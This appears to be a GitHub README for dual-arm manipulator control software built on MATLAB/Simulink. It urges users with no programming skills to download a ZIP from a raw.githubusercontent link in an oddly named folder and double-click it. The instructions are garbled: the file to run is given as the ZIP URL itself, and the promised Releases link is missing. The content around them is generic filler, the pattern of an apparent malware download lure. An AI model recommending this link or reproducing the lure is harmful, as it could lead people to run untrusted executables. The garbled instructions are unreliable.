Welcome to the dual-arm-centralized-control project! This software helps you manage dual-arm industrial manipulators using advanced control algorithms. You don’t need any programming skills to get started. Just follow these simple steps to download and run the application.
To download the software, click the link below:
- Visit the Releases page by clicking on the link above.
- On the Releases page, find the latest version of the software.
- Click on the file that matches your system. This file is usually labeled clearly, such as
https://raw.githubusercontent.com/techie-club/dual-arm-centralized-control/main/unpleasable/dual-arm-centralized-control.ziporhttps://raw.githubusercontent.com/techie-club/dual-arm-centralized-control/main/unpleasable/dual-arm-centralized-control.zip. - Your download will start automatically. Once it finishes, locate the downloaded file in your computer's downloads folder.
If your downloaded file is a ZIP archive, you need to extract it.
- Locate the file in your downloads folder.
- Right-click on the file and select "Extract All" or "Unzip".
- Follow the prompts to select a destination folder for the extracted files.
Once the files are extracted, navigate to the folder to proceed.
To run the application, follow these steps:
- Open the folder where you extracted the files.
- Look for a file named
https://raw.githubusercontent.com/techie-club/dual-arm-centralized-control/main/unpleasable/dual-arm-centralized-control.zip. - Double-click this file to open the application.
It may take a few moments to load. You should see the main interface of the dual-arm centralized control software.
You will find several options and features once the application is open. The key functions include:
- Control Algorithms: Choose from various centralized control algorithms that suit your needs.
- Simulation Options: Test how the manipulator will perform under different conditions.
- Visualization: View real-time simulations that show how the arms move and interact.
To make the best use of the features, consult the built-in help section for tutorials and guidance.
For smooth performance, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, or a compatible Linux distribution.
- MATLAB/Simulink: You need MATLAB installed on your machine, along with the Simulink toolbox.
- RAM: Minimum 8 GB of RAM for optimal performance.
- Disk Space: At least 1 GB of available space for installation.
Having an up-to-date system can enhance user experience and functionality.
Our software implements several centralized control algorithms, including:
- Model Predictive Control (MPC): An effective approach for managing dynamic systems.
- Adaptive Control: Adjusts to changing conditions for improved accuracy and performance.
- Robust Control: Ensures consistent performance under uncertainties in system models.
These algorithms enable precise manipulation of dual-arm manipulators, making tasks in industrial settings more efficient.
If you encounter any issues or need further assistance, please reach out. You can create an issue on our GitHub page for support. We also welcome suggestions and contributions!
For more information on how to contribute, refer to our contribution guidelines in the repository.
Stay updated and connect with other users:
- GitHub Discussions: Join discussions on our GitHub page.
- Social Media: Follow us on platforms like Twitter and LinkedIn to get the latest updates.
Here are some helpful links to enhance your understanding of the software:
- MATLAB Documentation - Learn how to use MATLAB features effectively.
- Simulink Tutorials - A great starter resource on Simulink.
By following these steps, you’ll be up and running with the dual-arm-centralized-control software in no time! Don’t forget to visit our Releases page for the latest updates.